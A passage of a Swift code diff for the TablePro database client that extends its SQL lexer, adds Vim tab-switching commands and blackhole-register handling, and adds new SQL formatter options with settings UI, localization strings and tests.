+        return delimiter == ";" || !matches(delimiter, at: position)
+    }
+
+    // MARK: - Operators
+
+    private mutating func readOperatorOrPunctuation(_ unit: UInt16) {
+        let start = index
+        if let symbol = longestOperator(at: index) {
+            index += (symbol as NSString).length
+            emit(.operator, from: start)
+            return
+        }
+        index += 1
+        emit(Self.punctuationUnits.contains(unit) ? .punctuation : .operator, from: start)
+    }
+
+    private func longestOperator(at position: Int) -> String? {
+        tokenizer.operatorCandidates(startingWith: text.character(at: position)).first { matches($0, at: position) }
+    }
+
+    // MARK: - Characters
+
+    private func isBlank(_ unit: UInt16) -> Bool {
+        switch unit {
+        case Self.space, Self.tab, Self.newline, Self.carriageReturn, 0x0B, 0x0C, 0x2028, 0x2029:
+            return true
+        default:
+            return SQLSeparatingCharacter.kind(of: unit) == .nonASCIISpace
+        }
+    }
+
+    private func isLineBlank(_ unit: UInt16) -> Bool {
+        unit == Self.space || unit == Self.tab
+    }
+
+    private func isDigit(_ unit: UInt16) -> Bool {
+        unit >= 0x30 && unit <= 0x39
+    }
+
+    private func isExponentMarker(_ unit: UInt16) -> Bool {
+        unit == UInt16(UnicodeScalar("e").value) || unit == UInt16(UnicodeScalar("E").value)
+    }
+
+    private func isWordStart(_ unit: UInt16) -> Bool {
+        if unit < 0x80 {
+            return SqlDollarQuote.isIdentifierStart(unit)
+        }
+        return !isBlank(unit) && !SQLSeparatingCharacter.isSeparating(unit)
+    }
+
+    // `$` continues a name on every engine that has one in a name; `#` and `@` only where the grammar says (Oracle's
+    // `v$session` and `SYS#`, T-SQL's `Part#` and `c@d`), since MySQL reads `a#b` as `a` and a comment.
+    private func isWordPart(_ unit: UInt16) -> Bool {
+        if isWordStart(unit) || isDigit(unit) || unit == Self.dollar { return true }
+        if unit == Self.at { return grammar.contains(.hashAndAtInIdentifiers) }
+        return unit == Self.hash && !grammar.isDisjoint(with: [.dollarAndHashInIdentifiers, .hashAndAtInIdentifiers])
+    }
+
+    // MARK: - Output
+
+    private mutating func emit(_ type: SQLTokenType, from start: Int) {
+        append(SQLToken(type: type, value: substring(from: start, to: index)))
+    }
+
+    private mutating func append(_ token: SQLToken) {
+        tokens.append(token)
+        switch token.type {
+        case .whitespace, .comment:
+            break
+        case .directive:
+            atStatementStart = true
+        case .punctuation:
+            atStatementStart = token.value == delimiter
+        default:
+            atStatementStart = false
+        }
+    }
+
+    private func substring(from start: Int, to end: Int) -> String {
+        text.substring(with: NSRange(location: start, length: end - start))
+    }
+}
diff --git a/apple/TablePro/Core/Services/Query/SQLDialectProvider.swift b/apple/TablePro/Core/Services/Query/SQLDialectProvider.swift
index 3967c77aa8..f7d2f6faeb 100644
--- a/apple/TablePro/Core/Services/Query/SQLDialectProvider.swift
+++ b/apple/TablePro/Core/Services/Query/SQLDialectProvider.swift
@@ -16,6 +16,8 @@ struct PluginDialectAdapter: SQLDialectProvider {
     let functions: Set<String>
     let dataTypes: Set<String>
     let functionNamesAreCaseInsensitive: Bool
+    let typeNamesAreCaseInsensitive: Bool
+    let operators: Set<String>
 
     init(descriptor: SQLDialectDescriptor) {
         self.identifierQuote = descriptor.identifierQuote
@@ -23,6 +25,8 @@ struct PluginDialectAdapter: SQLDialectProvider {
         self.functions = descriptor.functions
         self.dataTypes = descriptor.dataTypes
         self.functionNamesAreCaseInsensitive = descriptor.functionNamesAreCaseInsensitive
+        self.typeNamesAreCaseInsensitive = descriptor.typeNamesAreCaseInsensitive
+        self.operators = Set(descriptor.operators.map(\.symbol))
     }
 }
 
@@ -34,6 +38,8 @@ private struct EmptyDialect: SQLDialectProvider {
     let functions: Set<String> = []
     let dataTypes: Set<String> = []
     let functionNamesAreCaseInsensitive = false
+    let typeNamesAreCaseInsensitive = false
+    let operators: Set<String> = []
 }
 
 // MARK: - Dialect Factory
diff --git a/apple/TablePro/Core/Utilities/SQL/SQLQueryFingerprint.swift b/apple/TablePro/Core/Utilities/SQL/SQLQueryFingerprint.swift
index 9982e24dbb..61e756f2ae 100644
--- a/apple/TablePro/Core/Utilities/SQL/SQLQueryFingerprint.swift
+++ b/apple/TablePro/Core/Utilities/SQL/SQLQueryFingerprint.swift
@@ -66,7 +66,7 @@ enum SQLQueryFingerprint {
             }
 
             switch token.type {
-            case .comment, .whitespace:
+            case .comment, .whitespace, .directive:
                 continue
 
             case .number, .placeholder:
@@ -189,7 +189,7 @@ enum SQLQueryFingerprint {
             return previousValue != "]"
         case .punctuation:
             return signPrecedingPunctuation.contains(previousValue)
-        case .identifier, .number, .string, .placeholder, .comment, .whitespace:
+        case .identifier, .number, .string, .placeholder, .comment, .whitespace, .directive:
             return false
         }
     }
diff --git a/apple/TablePro/Core/Vim/VimCommandLineHandler.swift b/apple/TablePro/Core/Vim/VimCommandLineHandler.swift
index 9f1ab06b3b..4d477dfcda 100644
--- a/apple/TablePro/Core/Vim/VimCommandLineHandler.swift
+++ b/apple/TablePro/Core/Vim/VimCommandLineHandler.swift
@@ -2,20 +2,34 @@
 //  VimCommandLineHandler.swift
 //  TablePro
 //
-//  Handles Vim command-line commands (:w, :q, etc.)
-//
 
 import Foundation
 
-/// Handles Vim command-line commands
 struct VimCommandLineHandler {
-    /// Callback to execute the current query (:w)
     var onExecuteQuery: (() -> Void)?
-
-    /// Callback to close the current tab (:q)
     var onCloseTab: (() -> Void)?
+    // 1-based position in the tab strip.
+    var onSelectTab: ((Int) -> Void)?
+    var onSelectAdjacentTab: ((Int) -> Void)?
+    var tabCount: (() -> Int)?
+
+    // A count with no tab strip to measure it against stops here, past any strip's length.
+    private static let countLimit = 999_999
+
+    private enum TabCommand {
+        case next
+        case previous
+    }
+
+    // Each spelling Vim accepts, from the shortest abbreviation to the full name.
+    private static let tabCommands: [String: TabCommand] = {
+        var names: [String: TabCommand] = [:]
+        for end in 4...7 { names[String("tabnext".prefix(end))] = .next }
+        for end in 4...11 { names[String("tabprevious".prefix(end))] = .previous }
+        for end in 4...7 { names[String("tabNext".prefix(end))] = .previous }
+        return names
+    }()
 
-    /// Process a command string (without the leading : or /)
     func handle(_ command: String) {
         let trimmed = command.trimmingCharacters(in: .whitespaces)
 
@@ -25,7 +39,66 @@ struct VimCommandLineHandler {
         case "q":
             onCloseTab?()
         default:
-            break // Unknown commands are silently ignored
+            handleTabCommand(trimmed)
+        }
+    }
+
+    private func handleTabCommand(_ command: String) {
+        let parts = command.split(separator: " ", omittingEmptySubsequences: true)
+        guard let name = parts.first, parts.count <= 2,
+              let tabCommand = Self.tabCommands[String(name)] else { return }
+        let argument = parts.count == 2 ? String(parts[1]) : nil
+
+        switch tabCommand {
+        case .next:
+            guard let argument else {
+                onSelectAdjacentTab?(1)
+                return
+            }
+            if argument.hasPrefix("+") || argument.hasPrefix("-") {
+                guard let offset = relativeCount(argument.dropFirst()) else { return }
+                onSelectAdjacentTab?(argument.hasPrefix("-") ? -offset : offset)
+            } else if let number = absoluteCount(Substring(argument)) {
+                onSelectTab?(number)
+            }
+        case .previous:
+            guard let argument else {
+                onSelectAdjacentTab?(-1)
+                return
+            }
+            guard let count = relativeCount(Substring(argument)) else { return }
+            onSelectAdjacentTab?(-count)
+        }
+    }
+
+    private var tabs: Int? {
+        tabCount.map { $0() }.flatMap { $0 > 0 ? $0 : nil }
+    }
+
+    // Past the last tab is the last tab, as Vim's `goto_tabpage` reads it.
+    private func absoluteCount(_ text: Substring) -> Int? {
+        Self.count(text, cap: tabs ?? Self.countLimit, modulus: nil)
+    }
+
+    // Moving by a multiple of the tab count lands where it started, so the move is reduced to less than one lap.
+    private func relativeCount(_ text: Substring) -> Int? {
+        Self.count(text, cap: Self.countLimit, modulus: tabs)
+    }
+
+    // Read a digit at a time, so a count of any length neither overflows nor leaves the bound.
+    private static func count(_ text: Substring, cap: Int, modulus: Int?) -> Int? {
+        guard !text.isEmpty else { return nil }
+        var value = 0
+        var isZero = true
+        for character in text {
+            guard ("0"..."9").contains(character), let digit = character.wholeNumberValue else { return nil }
+            isZero = isZero && digit == 0
+            if let modulus {
+                value = (value * 10 + digit) % modulus
+            } else {
+                value = min(value * 10 + digit, cap)
+            }
         }
+        return isZero ? nil : value
     }
 }
diff --git a/apple/TablePro/Core/Vim/VimEngine+NormalMode.swift b/apple/TablePro/Core/Vim/VimEngine+NormalMode.swift
index 697417c5d2..52fd42aac5 100644
--- a/apple/TablePro/Core/Vim/VimEngine+NormalMode.swift
+++ b/apple/TablePro/Core/Vim/VimEngine+NormalMode.swift
@@ -570,6 +570,20 @@ extension VimEngine {
         case "J":
             joinLines(consumeCount(), withSpace: false, in: buffer)
             return true
+        case "t", "T":
+            let count = countPrefix
+            countPrefix = 0
+            operatorCount = 0
+            guard pendingOperator == nil else {
+                pendingOperator = nil
+                return true
+            }
+            if char == "t" {
+                onCommand?(count > 0 ? "tabnext \(count)" : "tabnext")
+            } else {
+                onCommand?("tabprevious \(max(count, 1))")
+            }
+            return true
         case "u":
             if pendingOperator == .lowercase {
                 applyCaseToLine(.lowercase, count: consumeCount(), in: buffer)
diff --git a/apple/TablePro/Core/Vim/VimEngine+Operators.swift b/apple/TablePro/Core/Vim/VimEngine+Operators.swift
index ef2c795ddc..9c03d4dbbe 100644
--- a/apple/TablePro/Core/Vim/VimEngine+Operators.swift
+++ b/apple/TablePro/Core/Vim/VimEngine+Operators.swift
@@ -234,9 +234,7 @@ extension VimEngine {
         guard deleteCount > 0 else { return }
         let start = pos - deleteCount
         let range = NSRange(location: start, length: deleteCount)
-        register.text = buffer.string(in: range)
-        register.isLinewise = false
-        register.syncToPasteboard()
+        writeToActiveRegister(text: buffer.string(in: range), linewise: false, asDelete: true)
         buffer.replaceCharacters(in: range, with: "")
         buffer.setSelectedRange(NSRange(location: start, length: 0))
     }
@@ -251,9 +249,7 @@ extension VimEngine {
         let deleteCount = min(count, max(0, contentEnd - pos))
         guard deleteCount > 0 else { setMode(.insert); return }
         let range = NSRange(location: pos, length: deleteCount)
-        register.text = buffer.string(in: range)
-        register.isLinewise = false
-        register.syncToPasteboard()
+        writeToActiveRegister(text: buffer.string(in: range), linewise: false, asDelete: true)
         buffer.replaceCharacters(in: range, with: "")
         buffer.setSelectedRange(NSRange(location: pos, length: 0))
         setMode(.insert)
diff --git a/apple/TablePro/Core/Vim/VimEngine+RegistersMarks.swift b/apple/TablePro/Core/Vim/VimEngine+RegistersMarks.swift
index f0a50e5c70..6b72f1d6b7 100644
--- a/apple/TablePro/Core/Vim/VimEngine+RegistersMarks.swift
+++ b/apple/TablePro/Core/Vim/VimEngine+RegistersMarks.swift
@@ -7,6 +7,10 @@ import Foundation
 
 extension VimEngine {
     func writeToActiveRegister(text: String, linewise: Bool, asDelete: Bool) {
+        if selectedRegister == "_" {
+            selectedRegister = nil
+            return
+        }
         let entry = VimRegister(text: text, isLinewise: linewise)
         register = entry
         register.syncToPasteboard()
@@ -18,7 +22,7 @@ extension VimEngine {
         } else {
             numberedRegisters[0] = entry
         }
-        if let name = selectedRegister, name != "_" {
+        if let name = selectedRegister {
             let isAppend = name.isUppercase
             let key: Character = isAppend ? Character(name.lowercased()) : name
             if isAppend, let existing = namedRegisters[key], !existing.text.isEmpty {
diff --git a/apple/TablePro/Core/Vim/VimEngine+VisualMode.swift b/apple/TablePro/Core/Vim/VimEngine+VisualMode.swift
index d7c1ebe5cb..55c7a9aaae 100644
--- a/apple/TablePro/Core/Vim/VimEngine+VisualMode.swift
+++ b/apple/TablePro/Core/Vim/VimEngine+VisualMode.swift
@@ -160,9 +160,7 @@ extension VimEngine {
         case "c":
             let sel = buffer.selectedRange()
             if sel.length > 0 {
-                register.text = buffer.string(in: sel)
-                register.isLinewise = isLinewise
-                register.syncToPasteboard()
+                writeToActiveRegister(text: buffer.string(in: sel), linewise: isLinewise, asDelete: true)
                 if isLinewise {
                     let trimmed = sel.length > 0
                         && sel.location + sel.length - 1 < buffer.length
diff --git a/apple/TablePro/Core/Vim/VimRegister.swift b/apple/TablePro/Core/Vim/VimRegister.swift
index 2483e922ac..4b14fe3759 100644
--- a/apple/TablePro/Core/Vim/VimRegister.swift
+++ b/apple/TablePro/Core/Vim/VimRegister.swift
@@ -2,23 +2,16 @@
 //  VimRegister.swift
 //  TablePro
 //
-//  Vim register for storing yanked/deleted text
-//
 
-import AppKit
+import Foundation
 
-/// Vim register for yank/delete/paste operations
 struct VimRegister {
-    /// The stored text content
     var text: String = ""
-
-    /// Whether the text was yanked/deleted linewise (entire lines)
     var isLinewise: Bool = false
 
-    /// Sync the register content to the system pasteboard
+    @MainActor
     func syncToPasteboard() {
         guard !text.isEmpty else { return }
-        NSPasteboard.general.clearContents()
-        NSPasteboard.general.setString(text, forType: .string)
+        ClipboardService.shared.writeText(text)
     }
 }
diff --git a/apple/TablePro/Models/Query/QueryTabManager.swift b/apple/TablePro/Models/Query/QueryTabManager.swift
index 4202f2df36..da30ee518a 100644
--- a/apple/TablePro/Models/Query/QueryTabManager.swift
+++ b/apple/TablePro/Models/Query/QueryTabManager.swift
@@ -192,7 +192,9 @@ final class QueryTabManager: ObservableObject {
         guard !strip.isEmpty else { return nil }
         let current = selectedTab.flatMap { tab in strip.firstIndex { $0.id == tab.id } } ?? 0
         let count = strip.count
-        return strip[((current + offset) % count + count) % count].id
+        // Reduced before it is added, so no offset can overflow.
+        let step = offset % count
+        return strip[((current + step) % count + count) % count].id
     }
 
     // MARK: - Recency
diff --git a/apple/TablePro/Models/Settings/SQLFormatterSettings.swift b/apple/TablePro/Models/Settings/SQLFormatterSettings.swift
index 9fa00e6e35..60470caeb8 100644
--- a/apple/TablePro/Models/Settings/SQLFormatterSettings.swift
+++ b/apple/TablePro/Models/Settings/SQLFormatterSettings.swift
@@ -45,6 +45,22 @@ struct SQLFormatterSettings: Codable, Equatable {
         return options
     }
 
+    // The keys 0.83 stored and synced, so a Mac on either build reads the other's settings. A rules file uses
+    // sql-formatter's names instead (`SQLFormatterRulesFile`).
+    enum RuleKeys: String, CodingKey, CaseIterable {
+        case indentStyle
+        case indentWidth
+        case keywordCase
+        case functionCase
+        case commaPosition
+        case lineWidth
+        case joinCondition
+        case alignAliases
+        case clauseItems
+        case logicalOperatorNewline
+        case dataTypeCase
+    }
+
     private enum FollowKeys: String, CodingKey {
         case indentFollowsTabWidth
         case keywordCaseFollowsEditor
@@ -52,7 +68,7 @@ struct SQLFormatterSettings: Codable, Equatable {
 
     // Lenient, like every synced settings blob: a value this build cannot read costs only that field.
     init(from decoder: Decoder) throws {
-        let container = try decoder.container(keyedBy: SQLFormatterOptions.CodingKeys.self)
+        let container = try decoder.container(keyedBy: RuleKeys.self)
         let follow = try decoder.container(keyedBy: FollowKeys.self)
         let fallback = SQLFormatterOptions.default
         var rules = SQLFormatterOptions()
@@ -72,6 +88,11 @@ struct SQLFormatterSettings: Codable, Equatable {
         )
         rules.joinCondition = container.decodeSetting(.joinCondition, default: fallback.joinCondition)
         rules.alignAliases = container.decodeSetting(.alignAliases, default: fallback.alignAliases)
+        rules.clauseItems = container.decodeSetting(.clauseItems, default: fallback.clauseItems)
+        rules.logicalOperatorNewline = container.decodeSetting(
+            .logicalOperatorNewline, default: fallback.logicalOperatorNewline
+        )
+        rules.dataTypeCase = container.decodeSetting(.dataTypeCase, default: fallback.dataTypeCase)
         self.rules = rules
         let defaults = Self.default
         indentFollowsTabWidth = follow.decodeSetting(.indentFollowsTabWidth, default: defaults.indentFollowsTabWidth)
@@ -81,7 +102,18 @@ struct SQLFormatterSettings: Codable, Equatable {
     }
 
     func encode(to encoder: Encoder) throws {
-        try rules.encode(to: encoder)
+        var container = encoder.container(keyedBy: RuleKeys.self)
+        try container.encode(rules.indentStyle, forKey: .indentStyle)
+        try container.encode(rules.indentWidth, forKey: .indentWidth)
+        try container.encode(rules.keywordCase, forKey: .keywordCase)
+        try container.encode(rules.functionCase, forKey: .functionCase)
+        try container.encode(rules.commaPosition, forKey: .commaPosition)
+        try container.encode(rules.lineWidth, forKey: .lineWidth)
+        try container.encode(rules.joinCondition, forKey: .joinCondition)
+        try container.encode(rules.alignAliases, forKey: .alignAliases)
+        try container.encode(rules.clauseItems, forKey: .clauseItems)
+        try container.encode(rules.logicalOperatorNewline, forKey: .logicalOperatorNewline)
+        try container.encode(rules.dataTypeCase, forKey: .dataTypeCase)
         var follow = encoder.container(keyedBy: FollowKeys.self)
         try follow.encode(indentFollowsTabWidth, forKey: .indentFollowsTabWidth)
         try follow.encode(keywordCaseFollowsEditor, forKey: .keywordCaseFollowsEditor)
diff --git a/apple/TablePro/Resources/Localizable.xcstrings b/apple/TablePro/Resources/Localizable.xcstrings
index adfb8a9735..bc4bbdf99c 100644
--- a/apple/TablePro/Resources/Localizable.xcstrings
+++ b/apple/TablePro/Resources/Localizable.xcstrings
@@ -25321,6 +25321,9 @@
     },
     "And %lld more" : {
 
+    },
+    "AND and OR:" : {
+
     },
     "And one that will run after this session ends:\n\n%@" : {
 
@@ -31635,6 +31638,12 @@
     "Bell" : {
       "extractionState" : "manual",
       "generatesSymbol" : false
+    },
+    "Below the keyword" : {
+
+    },
+    "Beside the keyword" : {
+
     },
     "Betas get new features first. Turning this off keeps the beta you have until a newer release ships." : {
 
@@ -39391,6 +39400,9 @@
           }
         }
       }
+    },
+    "Clause items:" : {
+
     },
     "Clear" : {
       "localizations" : {
@@ -54555,6 +54567,9 @@
     },
     "Couldn't Duplicate the Theme" : {
 
+    },
+    "Couldn't Export Formatter Rules" : {
+
     },
     "Couldn't Export the Theme" : {
 
@@ -58180,6 +58195,9 @@
     },
     "Data type" : {
 
+    },
+    "Data type case:" : {
+
     },
     "data type negotiation" : {
       "extractionState" : "manual",
@@ -71793,6 +71811,9 @@
     },
     "Engines that match function names by exact case, such as ClickHouse, keep the case you typed." : {
 
+    },
+    "Engines that match type names by exact case, such as ClickHouse, keep the case you typed." : {
+
     },
     "Enter a _key for the new row. Bigtable has no generated keys." : {
       "extractionState" : "manual",
@@ -188327,6 +188348,9 @@
           }
         }
       }
+    },
+    "The query is larger than %@, too large to format." : {
+
     },
     "The query names its own output format, %@. Remove its FORMAT clause to read it as rows." : {
       "extractionState" : "manual",
@@ -211441,6 +211465,9 @@
           }
         }
       }
+    },
+    "Where AND and OR go when a WHERE or HAVING condition breaks across lines." : {
+
     },
     "WHERE clause" : {
       "localizations" : {
@@ -211481,6 +211508,9 @@
           }
         }
       }
+    },
+    "Where the items of a SELECT list, SET list, WITH list, or WHERE or HAVING condition start once it breaks across lines. A single item stays beside its keyword." : {
+
     },
     "Whether a session is open" : {
       "localizations" : {
diff --git a/apple/TablePro/Views/Editor/SQLEditorController.swift b/apple/TablePro/Views/Editor/SQLEditorController.swift
index 5afcebd0d1..0d0d766a44 100644
--- a/apple/TablePro/Views/Editor/SQLEditorController.swift
+++ b/apple/TablePro/Views/Editor/SQLEditorController.swift
@@ -31,6 +31,9 @@ struct SQLEditorInput {
     var onFoldRangesChanged: (([Range<Int>]) -> Void)?
     var onCloseTab: (() -> Void)?
     var onExecuteQuery: (() -> Void)?
+    var onSelectTab: ((Int) -> Void)?
+    var onSelectAdjacentTab: ((Int) -> Void)?
+    var tabCount: (() -> Int)?
     var onRunStatement: ((String, Int) -> Bool)?
     /// A tab runs one thing at a time, so the gutter's run controls go dim for the length of a query.
     var isExecuting = false
@@ -133,6 +136,9 @@ final class SQLEditorController {
     private func applyInput(_ input: SQLEditorInput) {
         coordinator.onCloseTab = input.onCloseTab
         coordinator.onExecuteQuery = input.onExecuteQuery
+        coordinator.onSelectTab = input.onSelectTab
+        coordinator.onSelectAdjacentTab = input.onSelectAdjacentTab
+        coordinator.tabCount = input.tabCount
         coordinator.onRunStatement = input.onRunStatement
         coordinator.setStatementRunControlsEnabled(!input.isExecuting)
         coordinator.setStatementHighlightEnabled(AppSettingsManager.shared.editor.highlightCurrentStatement)
diff --git a/apple/TablePro/Views/Editor/SQLEditorCoordinator.swift b/apple/TablePro/Views/Editor/SQLEditorCoordinator.swift
index 6a5697d164..7cf0d9684e 100644
--- a/apple/TablePro/Views/Editor/SQLEditorCoordinator.swift
+++ b/apple/TablePro/Views/Editor/SQLEditorCoordinator.swift
@@ -115,6 +115,9 @@ final class SQLEditorCoordinator: ObservableObject, TextViewCoordinator, TextVie
     private var vimCursorManager: VimCursorManager?
     var onCloseTab: (() -> Void)?
     var onExecuteQuery: (() -> Void)?
+    var onSelectTab: ((Int) -> Void)?
+    var onSelectAdjacentTab: ((Int) -> Void)?
+    var tabCount: (() -> Int)?
     var onRunStatement: ((String, Int) -> Bool)?
     var currentAIAvailability: (() -> AIQueryActionAvailability)?
     var onAIAction: ((AIQueryAction, AIQueryTarget) -> Void)?
@@ -323,6 +326,9 @@ final class SQLEditorCoordinator: ObservableObject, TextViewCoordinator, TextVie
         releaseWindowSentinel()
         onCloseTab = nil
         onExecuteQuery = nil
+        onSelectTab = nil
+        onSelectAdjacentTab = nil
+        tabCount = nil
         onRunStatement = nil
         statementRunController.onRun = nil
         statementRunController.clear(in: controller)
@@ -481,15 +487,15 @@ final class SQLEditorCoordinator: ObservableObject, TextViewCoordinator, TextVie
         guard let textView = controller?.textView else { return }
         let formatter: QueryFormatting
         do {
-            guard let made = try QueryFormatterFactory.make(for: databaseType, sourceFileURL: sourceFileURL) else { return }
+            guard let made = try QueryFormatterFactory.make(
+                for: databaseType,
+                sourceFileURL: sourceFileURL,
+                grammar: formatGrammar
+            ) else { return }
             formatter = made
         } catch {
             Self.logger.error("Formatter rules unreadable: \(error.publicLogShape, privacy: .public)")
-            AlertHelper.showErrorSheet(
-                title: String(localized: "Couldn't Format Query"),
-                message: error.localizedDescription,
-                window: textView.window
-            )
+            showFormatError(error, in: textView.window)
             return
         }
         let scope = FormatScopeResolver.resolve(
@@ -513,9 +519,24 @@ final class SQLEditorCoordinator: ObservableObject, TextViewCoordinator, TextVie
             controller?.setCursorPositions([CursorPosition(range: NSRange(location: caretLocation, length: 0))])
         } catch {
             Self.logger.error("SQL Formatting error: \(error.publicLogShape, privacy: .public)")
+            showFormatError(error, in: textView.window)
         }
     }
 
+    private var formatGrammar: SQLLexicalGrammar? {
+        guard let databaseType else { return nil }
+        guard let connectionId else { return databaseType.lexicalGrammar }
+        return SQLLexicalResolver.executionGrammar(for: databaseType, connectionId: connectionId)
+    }
+
+    private func showFormatError(_ error: Error, in window: NSWindow?) {
+        AlertHelper.showErrorSheet(
+            title: String(localized: "Couldn't Format Query"),
+            message: error.localizedDescription,
+            window: window
+        )
+    }
+
     // MARK: - Inline Suggestion Manager
 
     private func installInlineSuggestionManager(controller: TextViewController) {
@@ -666,6 +687,15 @@ final class SQLEditorCoordinator: ObservableObject, TextViewCoordinator, TextVie
         commandHandler.onCloseTab = { [weak self] in
             self?.onCloseTab?()
         }
+        commandHandler.onSelectTab = { [weak self] number in
+            self?.onSelectTab?(number)
+        }
+        commandHandler.onSelectAdjacentTab = { [weak self] offset in
+            self?.onSelectAdjacentTab?(offset)
+        }
+        commandHandler.tabCount = { [weak self] in
+            self?.tabCount?() ?? 0
+        }
         engine.onCommand = { [weak self] command in
             self?.commandHandler.handle(command)
         }
diff --git a/apple/TablePro/Views/Main/Child/MainEditorContentView.swift b/apple/TablePro/Views/Main/Child/MainEditorContentView.swift
index dda24f010d..cc43f560dd 100644
--- a/apple/TablePro/Views/Main/Child/MainEditorContentView.swift
+++ b/apple/TablePro/Views/Main/Child/MainEditorContentView.swift
@@ -1206,6 +1206,9 @@ extension MainEditorContentView {
                 coordinator.commandActions?.closeTab()
             },
             onExecuteQuery: { coordinator.runQuery(viewport: .firstRow) },
+            onSelectTab: { number in coordinator.commandActions?.selectTab(number: number) },
+            onSelectAdjacentTab: { offset in coordinator.commandActions?.selectTab(offsetBy: offset) },
+            tabCount: { coordinator.tabManager.visibleTabs.count },
             onRunStatement: { sql, offset in coordinator.runStatement(sql, sourceOffset: offset) },
             isExecuting: isExecuting,
             currentAIAvailability: { coordinator.aiQueryActionAvailability },
diff --git a/apple/TablePro/Views/Settings/Sections/FormatterSection.swift b/apple/TablePro/Views/Settings/Sections/FormatterSection.swift
index 233884d11e..24ff238f25 100644
--- a/apple/TablePro/Views/Settings/Sections/FormatterSection.swift
+++ b/apple/TablePro/Views/Settings/Sections/FormatterSection.swift
@@ -15,7 +15,7 @@ struct FormatterSection: View {
     private static let previewSQL = """
         select u.id as user_id, u.name as user_name, count(o.id) as order_count \
         from users u left join orders o on u.id = o.user_id \
-        where u.status = 'active' and o.created_at >= '2026-01-01' \
+        where u.status = 'active' and cast(o.created_at as date) >= '2026-01-01' \
         group by u.id, u.name order by order_count desc;
         """
     private static let indentWidths = [2, 4, 8]
@@ -28,6 +28,7 @@ struct FormatterSection: View {
     @State private var isImporting = false
     @State private var exportDocument: SQLFormatterRulesDocument?
     @State private var importError: String?
+    @State private var exportError: String?
 
     private enum IndentWidthChoice: Hashable {
         case tabWidth
@@ -65,16 +66,35 @@ struct FormatterSection: View {
                 }
             }
             .help(Text("Engines that match function names by exact case, such as ClickHouse, keep the case you typed."))
+            Picker("Data type case:", selection: $settings.rules.dataTypeCase) {
+                ForEach(SQLFormatterCase.allCases, id: \.self) { formatterCase in
+                    Text(caseName(formatterCase)).tag(formatterCase)
+                }
+            }
+            .help(Text("Engines that match type names by exact case, such as ClickHouse, keep the case you typed."))
             Picker("Commas:", selection: $settings.rules.commaPosition) {
                 Text("At the end of the line").tag(SQLFormatterCommaPosition.trailing)
                 Text("At the start of the line").tag(SQLFormatterCommaPosition.leading)
             }
+            Picker("AND and OR:", selection: $settings.rules.logicalOperatorNewline) {
+                Text("At the start of the line").tag(SQLFormatterLogicalOperatorNewline.before)
+                Text("At the end of the line").tag(SQLFormatterLogicalOperatorNewline.after)
+            }
+            .help(Text("Where AND and OR go when a WHERE or HAVING condition breaks across lines."))
             Picker("Line width:", selection: $settings.rules.lineWidth) {
                 ForEach(Self.options(Self.lineWidths, including: settings.rules.lineWidth), id: \.self) { width in
                     Text(lineWidthName(width)).tag(width)
                 }
             }
             .help(Text("A SELECT list, SET list or WHERE condition that fits in this width stays on one line."))
+            Picker("Clause items:", selection: $settings.rules.clauseItems) {
+                Text("Beside the keyword").tag(SQLFormatterClauseItems.sameLine)
+                Text("Below the keyword").tag(SQLFormatterClauseItems.newLine)
+            }
+            .help(Text("""
+                Where the items of a SELECT list, SET list, WITH list, or WHERE or HAVING condition start once it \
+                breaks across lines. A single item stays beside its keyword.
+                """))
             Picker("Join condition:", selection: $settings.rules.joinCondition) {
                 Text("On its own line").tag(SQLFormatterJoinCondition.newLine)
                 Text("On the JOIN line").tag(SQLFormatterJoinCondition.sameLine)
@@ -95,7 +115,11 @@ struct FormatterSection: View {
                             document: exportDocument,
                             contentType: .json,
                             defaultFilename: SQLFormatterRulesFile.exportFileName
-                        ) { _ in }
+                        ) { result in
+                            if case .failure(let error) = result, (error as? CocoaError)?.code != .userCancelled {
+                                reportExportFailure(error)
+                            }
+                        }
                     Button("Restore Defaults") { settings = .default }
                         .disabled(settings == .default)
                 }
@@ -116,6 +140,15 @@ struct FormatterSection: View {
         } message: { message in
             Text(message)
         }
+        .alert(
+            String(localized: "Couldn't Export Formatter Rules"),
+            isPresented: isShowingExportError,
+            presenting: exportError
+        ) { _ in
+            Button(String(localized: "OK")) {}
+        } message: { message in
+            Text(message)
+        }
     }
 
     // MARK: - Preview
@@ -207,6 +240,10 @@ struct FormatterSection: View {
         Binding(get: { importError != nil }, set: { if !$0 { importError = nil } })
     }
 
+    private var isShowingExportError: Binding<Bool> {
+        Binding(get: { exportError != nil }, set: { if !$0 { exportError = nil } })
+    }
+
     // MARK: - Import and export
 
     private func importRules(_ result: Result<URL, Error>) {
@@ -226,10 +263,15 @@ struct FormatterSection: View {
         do {
             exportDocument = SQLFormatterRulesDocument(data: try SQLFormatterRulesFile.encode(settings.options(for: editor)))
         } catch {
-            Self.logger.error("Formatter rules export failed: \(error.publicLogShape, privacy: .public)")
+            reportExportFailure(error)
         }
     }
 
+    private func reportExportFailure(_ error: Error) {
+        Self.logger.error("Formatter rules export failed: \(error.publicLogShape, privacy: .public)")
+        exportError = error.localizedDescription
+    }
+
     // MARK: - Labels
 
     private var editorKeywordCase: SQLFormatterCase {
diff --git a/apple/TableProTests/Core/Services/Formatting/SQLFormatterRulesTests.swift b/apple/TableProTests/Core/Services/Formatting/SQLFormatterRulesTests.swift
index f471badf13..c3983cc79b 100644
--- a/apple/TableProTests/Core/Services/Formatting/SQLFormatterRulesTests.swift
+++ b/apple/TableProTests/Core/Services/Formatting/SQLFormatterRulesTests.swift
@@ -19,9 +19,17 @@ struct SQLFormatterRulesTests {
         commaPosition: .leading,
         lineWidth: 100,
         joinCondition: .sameLine,
-        alignAliases: true
+        alignAliases: true,
+        clauseItems: .newLine,
+        logicalOperatorNewline: .after,
+        dataTypeCase: .upper
     )
 
+    // sql-formatter's `removedOptions` (src/validateConfig.ts): a file holding one makes it throw.
+    private static let keysSQLFormatterRefuses: Set<String> = [
+        "multilineLists", "newlineBeforeOpenParen", "newlineBeforeCloseParen", "aliasAs", "commaPosition", "tabulateAlias",
+    ]
+
     private func decode(_ json: String) throws -> SQLFormatterOptions {
         try SQLFormatterRulesFile.decode(Data(json.utf8))
     }
@@ -38,11 +46,66 @@ struct SQLFormatterRulesTests {
     func fileWritesEveryKey() throws {
         let data = try SQLFormatterRulesFile.encode(.default)
         let object = try #require(try JSONSerialization.jsonObject(with: data) as? [String: Any])
-        let everyKey = Set(SQLFormatterOptions.CodingKeys.allCases.map { $0.stringValue })
+        let everyKey = Set(SQLFormatterRulesFile.Key.allCases.map { $0.stringValue })
         #expect(Set(object.keys) == everyKey)
-        #expect(object["indentStyle"] as? String == "spaces")
-        #expect(object["commaPosition"] as? String == "trailing")
+        #expect(object["useTabs"] as? Bool == false)
